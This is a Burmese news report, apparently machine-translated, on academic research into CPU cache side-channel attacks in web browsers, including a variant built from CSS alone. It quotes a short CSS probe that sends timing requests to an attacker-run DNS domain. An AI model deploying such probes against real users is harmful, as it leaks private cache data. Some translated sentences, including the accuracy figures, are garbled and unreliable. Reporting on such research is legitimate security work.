JavaScript မပါဘဲ ဝဘ်ဘရောက်ဆာတွင် CPU ကက်ရှ်ထုတ်ယူခြင်း တိုက်ခိုက်မှုကို လုပ်ဆောင်သည်။

အမေရိကန်၊ အစ္စရေးနှင့် သြစတြေးလျ တက္ကသိုလ်များစွာမှ သုတေသီအဖွဲ့တစ်ဖွဲ့သည် ပရိုဆက်ဆာ ကက်ရှ်၏ အကြောင်းအရာအချက်အလက်များကို ထုတ်ယူရန် ဝဘ်ဘရောက်ဆာများပေါ်တွင် အသုံးပြုသည့် တိုက်ခိုက်မှု သုံးခုကို တီထွင်ခဲ့သည်။ နည်းလမ်းတစ်ခုသည် JavaScript မပါဘဲ ဘရောက်ဆာများတွင် အလုပ်လုပ်နိုင်ပြီး အခြားနည်းလမ်းနှစ်ခုမှာ Tor browser နှင့် DeterFox အပါအဝင် ဘေးထွက်ချန်နယ်တိုက်ခိုက်မှုများကို ကာကွယ်ခြင်းနည်းလမ်းများကို ရှောင်ကွင်းနိုင်သည်။ တိုက်ခိုက်မှုများကို သရုပ်ပြသည့်ကုဒ်အပြင် တိုက်ခိုက်မှုများအတွက် လိုအပ်သော ဆာဗာအစိတ်အပိုင်းများကို GitHub တွင် လွှင့်တင်ထားသည်။

ကက်ရှ်၏ အကြောင်းအရာများကို ပိုင်းခြားစိတ်ဖြာရန်၊ တိုက်ခိုက်မှုအားလုံးတွင် Prime+Probe နည်းလမ်းကို အသုံးပြုကာ၊ ၎င်းတို့အား ပြန်လည်ဖြည့်သွင်းသည့်အခါ ၎င်းတို့ထံ ဝင်ရောက်သည့်အချိန်ကို တိုင်းတာခြင်းဖြင့် အပြောင်းအလဲများကို ရှာဖွေတွေ့ရှိသည့် စံတန်ဖိုးများနှင့်အတူ ကက်ရှ်ကို စံတန်ဖိုးများဖြင့် ဖြည့်ပေးခြင်းတို့ ပါဝင်ပါသည်။ တိကျသောအချိန်တိုင်းတာမှုကိုအနှောင့်အယှက်ပေးသောဘရောက်ဆာများတွင်ပါရှိသောလုံခြုံရေးယန္တရားများကိုကျော်ဖြတ်ရန်၊ ရွေးချယ်စရာနှစ်ခုတွင်၊ လက်ခံရရှိတောင်းဆိုမှုများ၏အချိန်မှတ်တမ်းကိုထိန်းသိမ်းထားသည့်တိုက်ခိုက်သူထိန်းချုပ်ထားသော DNS သို့မဟုတ် WebSocket ဆာဗာသို့ အယူခံဝင်မည်ဖြစ်သည်။ သင်္ကေတတစ်ခုတွင်၊ ပုံသေ DNS တုံ့ပြန်မှုအချိန်ကို အချိန်ရည်ညွှန်းချက်အဖြစ် အသုံးပြုသည်။

စက်သင်ယူမှုအပေါ်အခြေခံသည့် အမျိုးအစားခွဲခြားမှုစနစ်ကိုအသုံးပြု၍ ပြင်ပ DNS သို့မဟုတ် WebSocket ဆာဗာများကို အသုံးပြု၍ ပြုလုပ်ထားသော တိုင်းတာမှုများသည် အကောင်းမွန်ဆုံးအခြေအနေတွင် (ပျမ်းမျှ 98-80%) အထိ 90% အထိ တိကျမှုဖြင့် တန်ဖိုးများကို ခန့်မှန်းရန် လုံလောက်ပါသည်။ တိုက်ခိုက်မှုနည်းလမ်းများကို ဟာ့ဒ်ဝဲပလက်ဖောင်းအမျိုးမျိုး (Intel၊ AMD Ryzen၊ Apple M1၊ Samsung Exynos) တွင် စမ်းသပ်ခဲ့ပြီး universal ဖြစ်ကြောင်း သက်သေပြခဲ့သည်။

JavaScript မပါဘဲ ဝဘ်ဘရောက်ဆာတွင် CPU ကက်ရှ်ထုတ်ယူခြင်း တိုက်ခိုက်မှုကို လုပ်ဆောင်သည်။

DNS Racing တိုက်ခိုက်မှု၏ ပထမမူကွဲသည် JavaScript arrays များကို အသုံးပြု၍ Prime+Probe နည်းလမ်း၏ ဂန္တ၀င်အကောင်အထည်ဖော်မှုကို အသုံးပြုသည်။ ကွဲပြားမှုများသည် ပြင်ပ DNS-အခြေခံအချိန်တိုင်းကိရိယာနှင့် onerror handler ကိုအသုံးပြုခြင်းမှအစပြု၍ ၎င်းသည် တည်ရှိခြင်းမရှိသောဒိုမိန်းမှပုံတစ်ပုံကိုတင်ရန်ကြိုးပမ်းသောအခါ အစပျိုးသည်။ ပြင်ပအချိန်တိုင်းကိရိယာတစ်ခုသည် JavaScript အချိန်တိုင်းကိရိယာများသို့ဝင်ရောက်ခွင့်ကို ကန့်သတ်ရန် သို့မဟုတ် လုံးလုံးလျားလျား ပိတ်ထားသည့် ဘရောက်ဆာများအပေါ် Prime+Probe တိုက်ခိုက်မှုကို ခွင့်ပြုပေးသည်။

တူညီသော Ethernet ကွန်ရက်ပေါ်တွင် တည်ရှိသော DNS ဆာဗာအတွက်၊ အချိန်တိုင်းကိရိယာ၏ တိကျမှုသည် ခန့်မှန်းခြေ 2 ms ဖြစ်မည်ဟု ခန့်မှန်းရပြီး ဘေးထွက်ချန်နယ်တိုက်ခိုက်မှုကို လုပ်ဆောင်ရန် လုံလောက်သည် (နှိုင်းယှဉ်မှုအတွက်၊ Tor Browser ရှိ စံ JavaScript အချိန်တိုင်းကိရိယာ၏ တိကျမှုသည်၊ 100 ms သို့လျှော့ချ။ တိုက်ခိုက်မှုအတွက်၊ DNS ဆာဗာကို ထိန်းချုပ်ရန် မလိုအပ်ပါ၊ အဘယ်ကြောင့်ဆိုသော် DNS မှ တုံ့ပြန်မှုအချိန်သည် စစ်ဆေးမှု၏ အစောပိုင်းပြီးစီးမှု၏ လက္ခဏာတစ်ရပ်အဖြစ် လုပ်ဆောင်နိုင်စေရန် လုပ်ဆောင်ချက်၏ လုပ်ဆောင်ချိန်ကို ရွေးချယ်ထားသောကြောင့် (အမှားအယွင်းပြုလုပ်သူအား အစပျိုးထားခြင်းရှိမရှိအပေါ် မူတည်၍)၊ အစောပိုင်း သို့မဟုတ် နောက်ပိုင်းတွင်၊ ကက်ရှ်ဖြင့် စစ်ဆေးသည့် လုပ်ဆောင်ချက်၏ အရှိန်နှင့် ပတ်သက်၍ ကောက်ချက်ဆွဲသည်)။

ဒုတိယတိုက်ခိုက်မှုနည်းလမ်း "String and Sock" သည် JavaScript ရှိ အဆင့်နိမ့် arrays အသုံးပြုမှုကို ကန့်သတ်သည့် လုံခြုံရေးနည်းပညာများကို ကျော်ဖြတ်ရန် ရည်ရွယ်သည်။ arrays များအစား String နှင့် Sock သည် အလွန်ကြီးမားသော strings များပေါ်တွင် လုပ်ဆောင်ချက်များကို အသုံးပြုသည်၊ ထို့ကြောင့် variable သည် LLC cache (နောက်ဆုံးအဆင့် cache) တစ်ခုလုံးကို လွှမ်းခြုံနိုင်စေရန် ရွေးချယ်ထားသော အရွယ်အစားဖြစ်သည်။ ထို့နောက်၊ indexOf() လုပ်ဆောင်ချက်ကို အသုံးပြု၍ အရင်းအမြစ်စာတန်း၌ အစပိုင်းတွင် မရှိတော့သည့် string တွင် သေးငယ်သော စာကြောင်းငယ်တစ်ခုကို ရှာဖွေသည်။ ရှာဖွေမှုလုပ်ဆောင်ချက်သည် စာကြောင်းတစ်ခုလုံးအပေါ် ထပ်ကာထပ်ကာဖြစ်စေသည်။ လိုင်းအရွယ်အစားသည် LLC cache ၏အရွယ်အစားနှင့် ကိုက်ညီသောကြောင့်၊ စကင်န်ဖတ်ခြင်းသည် arrays များကို ကိုင်တွယ်ခြင်းမပြုဘဲ ကက်ရှ်စစ်ဆေးခြင်းလုပ်ငန်းကို လုပ်ဆောင်နိုင်မည်ဖြစ်သည်။ နှောင့်နှေးမှုများကို တိုင်းတာရန်အတွက် DNS အစား တိုက်ခိုက်သူ ထိန်းချုပ်ထားသော WebSocket ဆာဗာသို့ ခေါ်ဆိုမှုတစ်ခု ပြုလုပ်သည် အကြောင်းအရာများ

“CSS PP0” တိုက်ခိုက်မှု၏တတိယမူကွဲကို HTML နှင့် CSS မှတဆင့်အကောင်အထည်ဖော်ပြီး JavaScript ကိုပိတ်ထားသောဘရောက်ဆာများတွင်အလုပ်လုပ်နိုင်သည်။ နည်းလမ်းသည် "String and Sock" နှင့် ဆင်တူသော်လည်း JavaScript နှင့် မသက်ဆိုင်ပါ။ တိုက်ခိုက်မှုအတွင်း၊ မျက်နှာဖုံးဖြင့်ရှာဖွေသော CSS ရွေးချယ်မှုအစုတစ်ခုကို ထုတ်ပေးသည်။ ကက်ရှ်ကို ဖြည့်ပေးသည့် ကနဦး ကြီးမားသော စာကြောင်းကို အလွန်ကြီးမားသော အတန်းအမည်ဖြင့် div tag တစ်ခုကို ဖန်တီးခြင်းဖြင့် သတ်မှတ်သည်။ အတွင်းတွင် ၎င်းတို့၏ ကိုယ်ပိုင်အမှတ်အသားများဖြင့် အခြား div အစုံရှိသည်။ ဤ nested div တစ်ခုစီတွင် substring ကိုရှာဖွေသည့် selector ဖြင့် ၎င်း၏ကိုယ်ပိုင်စတိုင်ရှိသည်။ စာမျက်နှာတစ်ခုကို တင်ဆက်သည့်အခါ၊ ဘရောင်ဇာသည် အတန်းကြီးတစ်ခုတွင် ရှာဖွေမှုလုပ်ဆောင်မှုကို ဖြစ်ပေါ်စေသည့် အတွင်းပိုင်း divs များကို ဦးစွာလုပ်ဆောင်ရန် ကြိုးစားသည်။ ရှာဖွေမှုသည် တမင်တကာ ပျောက်ဆုံးနေသော မျက်နှာဖုံးကို အသုံးပြု၍ လုပ်ဆောင်ကာ တစ်ကြောင်းလုံးအပေါ် ထပ်ကာထပ်ကာ ဖြစ်စေသည်၊ ထို့နောက်တွင် "not" အခြေအနေကို အစပျိုးကာ နောက်ခံပုံများကို ရည်ညွှန်းသော ကျပန်းဒိုမိန်းများကို တင်ရန် ကြိုးပမ်းသည်- #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

တောင်းဆိုချက်များလက်ခံရာတွင် နှောင့်နှေးမှုများကို တိုင်းတာနိုင်သည့် တိုက်ခိုက်သူ၏ DNS ဆာဗာမှ လက်အောက်ခံဒိုမိန်းများကို ဆောင်ရွက်ပေးပါသည်။ DNS ဆာဗာသည် တောင်းဆိုချက်အားလုံးအတွက် NXDOMAIN ကိုထုတ်ပေးပြီး တောင်းဆိုချက်များ၏ အချိန်အတိအကျကို မှတ်တမ်းတစ်ခု သိမ်းဆည်းထားသည်။ divs အစုအဝေးကို လုပ်ဆောင်ခြင်း၏ ရလဒ်အနေဖြင့်၊ တိုက်ခိုက်သူ၏ DNS ဆာဗာသည် တောင်းဆိုမှုများ ဆက်တိုက်ကို လက်ခံရရှိသည်၊၊ ကက်ရှ်အကြောင်းအရာများကို စစ်ဆေးခြင်း၏ ရလဒ်နှင့် ဆက်စပ်နေသည့်ကြားမှ နှောင့်နှေးမှုများ။

JavaScript မပါဘဲ ဝဘ်ဘရောက်ဆာတွင် CPU ကက်ရှ်ထုတ်ယူခြင်း တိုက်ခိုက်မှုကို လုပ်ဆောင်သည်။


source: opennet.ru

မှတ်ချက် Add